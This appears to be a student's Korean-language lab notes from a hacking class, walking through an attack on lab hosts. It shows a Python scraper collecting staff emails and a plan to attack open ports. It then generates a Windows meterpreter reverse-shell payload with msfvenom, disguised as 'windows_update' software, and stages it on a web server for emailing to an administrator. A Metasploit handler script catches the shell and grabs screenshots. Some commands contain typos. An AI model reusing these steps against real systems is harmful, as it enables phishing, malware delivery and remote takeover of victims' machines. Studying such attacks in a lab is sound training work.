미션
악성코드를 만들고 관리자 pc로 침투시켜라
해커는 web2.st.kr에 저장된 이메일을 수집 후 자동으로 담당자에게 메일 전송
패킷과 로그를 분석하여 악성코드 침투 흔적을 찾기
XXX@XXX
칼리에서 자동으로 이메일부터 수집하기
이메일 패턴인 정규 표현식으로 알아야 한다
악성코드가 침투되면 해커는 항상 대기하고 있어야 한다.
아이피랑 포트만 알고 있으면 연결 할 수 있음 > 알기 힘듦
ci4.st,kr/auth/login
ci4.st,kr/auth/
칼리에서 nano Attack.py 생성
우선 class를 만들어야 함
나만의 tool 만들기
43p
106p class
def 초기화 함수
init : 자동화 함수
nano Attack.py 작동되는지 확인해보기
class Attack:
def __init__(self):
print("attack start")
attack = Attack()
attack = Attack()
python Attack.py
attack start
attack start
수집할 정보는 () 안에 넣어주기
함수 밖에 사이트를 만들어 놓은 것을 안에서 작동할 수 있도록 해야 함
class Attack:
def __init__(self, target):
print("attack start")
print(target)
attack1 = Attack(url)
python Attack.py
attack start
http://web2.st.kr/profile.php1
collect email
클래스 생성자 : 객체가 생성될 때 자동적으로 실행되는 클래스 메소드 * init
> 있으면 변수를 초기화하여 다른 사이트를 공격하기 편함
> 첫번째 인자에는 반드시 self여야 함
지역변수 : 지역 내에서 만 사용이 가능한 변수
전역변수 : 모든 곳에서 사용 가능한 변수
클래스는 변수와 함수로 구성해주면 됨
self.XX은 클래스 밖에 있는 함수의 변수를 변환하여 전역변수로 사용할 수 있도록 설정
한 지역으로 묶는 것은 2,4,6 스페이스 바로 밀기
__init__에서 함수 밖에 있는 url은 타겟으로 올라가 초기화시킴
이메일 가져오려면
이메일 주소 패턴이 필요함
email_pattern=r'[a-zA_Z0-9._%+-]+[a-zA_Z0-9.-]+\.[a-zA-Z]{2,}'
emails = re.findall(email_pattern, soup.txt)
중복 제거 및 출력
unique_emails= set(emails)
for email in unique_emails;
print(email)
else:
print("Failed to access {url}, status code : (response_status_code)")
미션
스캔 후에 열려있는 포트 별로 자동으로 공격하는 공격 포트 만들기
1. 스캔하기
2.포트 찾기
3. 80이면 http를 공격하기
로그인 공격
파일 업로드공격
SQL 인젝션 공격
XSS 공격
4. 22이면 ssh 공격하기
5. 21이면 ftp 공격하기
해커가 만든 profile.php 업로드 하기
> 그 전에 파일 바탕화면에 저장 해놓기
Attack.php 파일에서 ftp 부분 수정 후
저장 후
touch profile.php
python Attack.py 해주기
> 빈 화면 나오면 정상 칩입
해커의 다음 행동은?
키로커 또는 화면캡처를 통해 관리의 비밀번호를 찾아내기
악성코드 만들기
수집된 이메일로 자동으로 악성코드 보내기?
msfvernom -platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.56.101
LHOST=4444
-b "\x00"
-f exe
-o /home/kail/windows_update_20250120001.exe
cp windows_update_20250120001.exe /var/www/html
su
12456
cd /var/www/html
ls
파일 확인 windows_update_20250120001.exe
메일로 악성코드 파일 보내기 st@mail.st.kr > master@mail.st.kr
nano /home/kali/malware.rc
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.56.101
set lport 4444
exploit
msfconsole -r malware.rc > 공격
netstat -ant 로 4444 포트 열렸는지 확인하기
해커에게 노출된 암호는 안전한 것인가?
주기적으로 변경하는게 안전한 것인가?
안전하지 않다면 어떠한 조치를 취해야 하는가?
session -i
meterpreter가 뜨면 정상적으로 윈도우와 연결된 것임
여기서 스크린 샷 보내보기
> 윈도우에서 캡처된 사진이 칼리로 넘어감